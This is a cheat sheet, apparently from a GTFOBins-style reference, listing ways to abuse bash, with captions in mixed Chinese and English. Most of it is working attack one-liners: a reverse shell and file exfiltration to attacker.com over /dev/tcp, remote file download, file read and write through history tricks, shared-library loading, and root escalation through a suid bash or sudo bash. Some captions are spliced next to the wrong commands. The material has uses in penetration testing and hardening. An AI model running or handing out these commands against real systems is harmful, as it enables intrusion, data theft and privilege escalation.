用来生成一个交互式的系统shell。
bash
向监听的端口发送反向shell,以打开远程网络访问。
nc -l -p 12345
on the attacker box to receive the shell. export RHOST=attacker.com
export RPORT=12345
bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
上传文件到外部。
export RHOST=attacker.com
export RPORT=12345
export LFILE=要发送的文件
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
Send local file using a TCP connection. Run nc -l -p 12345 > "file_to_save"
on the attacker box to collect the file. export RHOST=attacker.com
export RPORT=12345
export LFILE=要发送的文件
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
下载远程文件。
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/$RHOST/$RPORT \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
Fetch remote file using a TCP connection. Run nc -l -p 12345 < "要发送的文件"
on the attacker box to send the file. export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
将数据写入文件中。
export LFILE=要写入的文件
bash -c 'echo DATA > $LFILE'
This adds timestamps to the output file. LFILE=要写入的文件
HISTIGNORE='history *'
history -c
DATA
history -w $LFILE
从文件中读取数据。
export LFILE=要读取的文件路径
bash -c 'echo "$(<$LFILE)"'
The read file content is surrounded by the current history content. LFILE=要读取的文件路径
HISTTIMEFORMAT=$'\r\e[K'
history -r $LFILE
history
加载共享库,这些共享库可以被用来在二进制文件的执行上下文中运行代码。
bash -c 'enable -f ./lib.so x'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./bash -p
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo bash